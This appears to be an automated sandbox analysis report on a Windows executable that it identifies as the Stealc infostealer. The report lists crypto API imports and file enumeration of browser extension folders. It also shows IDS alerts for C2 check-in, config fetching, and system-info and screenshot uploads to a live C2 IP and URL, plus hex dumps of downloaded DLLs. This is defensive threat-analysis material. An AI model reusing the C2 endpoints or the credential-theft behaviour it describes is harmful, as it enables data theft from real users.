Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C74E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C74E6E0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C78A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C78A730
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C790180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C790180
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7643B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7643B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C787C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C787C00
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C747D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C747D60
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C78BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C78BD30
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C789EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C789EC0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C763FF0 PK11_PrivDecryptPKCS1,	0_2_6C763FF0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C763850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C763850
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C769840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C769840
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C78DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C78DA40
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C797410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	0_2_6C797410
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C763560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C763560

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\X9d3758tok.exe

Unpacked PE file: 0.2.X9d3758tok.exe.400000.1.unpack

Source: X9d3758tok.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\X9d3758tok.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.106.236.48:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49911 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: X9d3758tok.exe, 00000000.00000002.2270230098.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: nss3.pdb@ source: X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdbU source: X9d3758tok.exe, 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269945203.000000006D031000.00000002.00000001.01000000.00000007.sdmp, X9d3758tok.exe, 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: X9d3758tok.exe, X9d3758tok.exe, 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269945203.000000006D031000.00000002.00000001.01000000.00000007.sdmp, X9d3758tok.exe, 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: BAAEHDBFID.exe, 00000009.00000002.2163984967.00007FF7FC2F7000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: BAAEHDBFID.exe, 00000009.00000002.2163984967.00007FF7FC2F7000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb source: X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: X9d3758tok.exe, 00000000.00000002.2270230098.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 77.83.175.105:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 77.83.175.105:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 77.83.175.105:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49755 -> 77.83.175.105:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://77.83.175.105/18a9a962225b1ffb.php
Source: Malware configuration extractor	URLs: http://77.83.175.105/18a9a962225b1ffb.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:16:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 